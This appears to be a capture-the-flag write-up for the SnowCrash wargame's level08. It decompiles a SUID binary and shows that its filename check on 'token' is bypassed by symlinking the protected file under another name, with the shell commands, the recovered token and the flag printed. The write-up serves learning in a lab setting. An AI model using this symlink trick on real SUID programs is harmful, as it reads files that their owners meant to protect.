Level08

Two files are present is present in home directory of the `level08` user witch are a binary named `level08` and a `token` file. The **SUID** bit is set on the `level08` binary and owner is user `flag08` on both files.

Passing the file to **Ghidra's** code browser let's us observe the `main()` function's contents.

```
int main(int argc,char **argv,char **envp)
{
  char *pcVar1;
  int __fd;
  size_t __n;
  ssize_t sVar2;
  int in_GS_OFFSET;
  int fd;
  int rc;
  char buf [1024];
  undefined local_414 [1024];
  int local_14;

  local_14 = *(int *)(in_GS_OFFSET + 0x14);
  if (argc == 1) {
    printf("%s [file to read]\n",*argv);
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  pcVar1 = strstr(argv[1],"token");
  if (pcVar1 != (char *)0x0) {
    printf("You may not access \'%s\'\n",argv[1]);
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  __fd = open(argv[1],0);
  if (__fd == -1) {
    err(1,"Unable to open %s",argv[1]);
  }
  __n = read(__fd,local_414,0x400);
  if (__n == 0xffffffff) {
    err(1,"Unable to read fd %d",__fd);
  }
  sVar2 = write(1,local_414,__n);
  if (local_14 != *(int *)(in_GS_OFFSET + 0x14)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return sVar2;
}
```

The strstr(char *haystack, char *needle) function

`argv[1]` is passed as **haystack** to `strstr(char *haystack, char *needle)` and `token` as **needle** is searched. If **needle** occurs in the **haystack**, a pointer to the first occurrence of **needle** is returned. Otherwise `NULL` is returned.

The return value is stored in a pointer, and it is compared to `NULL`. If the pointer is not `NULL`, this means that `token` was found in `argv[1]` and the program exits.

If `token` is not found, in `argv[1]`, the program tries to open the file passed as `argv[1]` and reads it's contents to `stdout`.

The attack

To get the flag the approach is probably to read `token` trough the `level08` binary file. The program won't read the file if it's named `token`.

The trick is to make a symlink (symbolic link) to the file whose name does not contain `token` and pass it to the program. Using the `ln` command to make links, hard or symbolic we use the `-s` option to specify that we want a symlink. The syntax is: `ln -s `.

Note: On Unix systems every file is mapped to an inode. A **hardlink** is a reference to the same inode as the original file. This can let us create two same files in the system without duplicating the data. If one file is altered, the other one as well. A **symlink** is a file that only points to another file and does not point to an inode.

```
level08@SnowCrash:~$ ln -s $PWD/token /tmp/tokey
level08@SnowCrash:~$ ./level08 /tmp/tokey
quif5eloekouj29ke0vouxean
```

The token obtained is not a valid for logging in to the `level09` account so we try to log in as `flag08` user and launch the `getflag` command wich succeeds.

```
level08@192.168.122.104's password:
level08@SnowCrash:~$ su flag08
Password:
Don't forget to launch getflag !
flag08@SnowCrash:~$ getflag
Check flag.Here is your token : 25749xKZ8L7DkSCwJkT9dyv6f
```